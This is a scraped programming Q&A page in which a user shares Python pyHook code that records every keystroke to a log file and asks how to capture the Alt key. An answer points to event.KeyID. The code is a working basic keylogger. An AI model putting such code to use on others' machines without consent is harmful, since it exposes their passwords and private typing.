19032

Python Alt Hooking

I was writing this type-recording program when I encountered a problem - Alt</kbd> key doesn't have an Ascii number so I can't hook it in the regular way. This is my source code without the Alt</kbd> hooking try, the question is - how do I hook Alt</kbd>? I know that there is Class variable named "Alt" and built-in function named "IsAlt" but I didn't get how to use them.

import pythoncom,pyHook log = "" logpath = "log.txt" openfile = open(logpath,"w") openfile.write("") def OnKeyboardEvent(event): try: global log if event.Ascii == 8: log = "[BS]" elif event.Ascii == 9: log = "[TAB]" elif event.Ascii == 13: log = "[NL]" elif event.Ascii == 27: log = "[ESC]" elif event.Ascii == 15: openfile.close() exit() else: log = chr(event.Ascii) openfile.write(log) except: pass hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()

Answer1:

I foud it!! Instead of using "event.Ascii" to map keys, use "event.KeyID"!! Note that for keys like "AltGr" you have 2 mapping key IDs: 1 for key pressed and other for key released. Have a good day.

Recommend

  • C# Read string from CSV file and plot line graph
  • Opening files from Finder with a Qt-based application?
  • Can my app be notified when another application starts/stops playing audio?
  • jquery validation - waiting for remote check to complete
  • Javascript CORS - No 'Access-Control-Allow-Origin' header is present
  • How to save a record and immediately use its GUID
  • Error processing multiple files
  • What does “t” refer to in this SQL?
  • Repository Browser Only - \"Repository moved permanently to… please relocate”
  • opencv display image without x server
  • CERN ROOT exporting data to plain text
  • How do I shift the decimal place in Python?
  • Application level floating views with navigation in Android
  • Row to Column conversion in Talend
  • How do I display a dialog that asks the user multi-choice questıon using tkInter?
  • jQuery Orbit - How to make a Random Slideshow?
  • Django simple Captcha “No module named fields” error
  • Bad request using file_get_contents for PUT request in PHP
  • Why does access(2) check for real and not effective UID?
  • How to redirect a user to a different server and include HTTP basic authentication credentials?
  • Can I make an Android app that runs a web view in Chrome 39?
  • Weird JavaScript statement, what does it mean?
  • How do you troubleshoot character encoding problems?
  • Why winpcap requires both .lib and .dll to run?
  • Return words with double consecutive letters
  • How to format a variable of double type
  • Python: how to group similar lists together in a list of lists?
  • Proper folder structure for lots of source files
  • Java static initializers and reflection
  • LevelDB C iterator
  • Linking SubReports Without LinkChild/LinkMaster
  • unknown Exception android
  • Busy indicator not showing up in wpf window [duplicate]
  • Binding checkboxes to object values in AngularJs
  • Observable and ngFor in Angular 2
  • How to Embed XSL into XML
  • Unable to use reactive element in my shiny app
  • Net Present Value in Excel for Grouped Recurring CF
  • jQuery Masonry / Isotope and fluid images: Momentary overlap on window resize
  • How to load view controller without button in storyboard?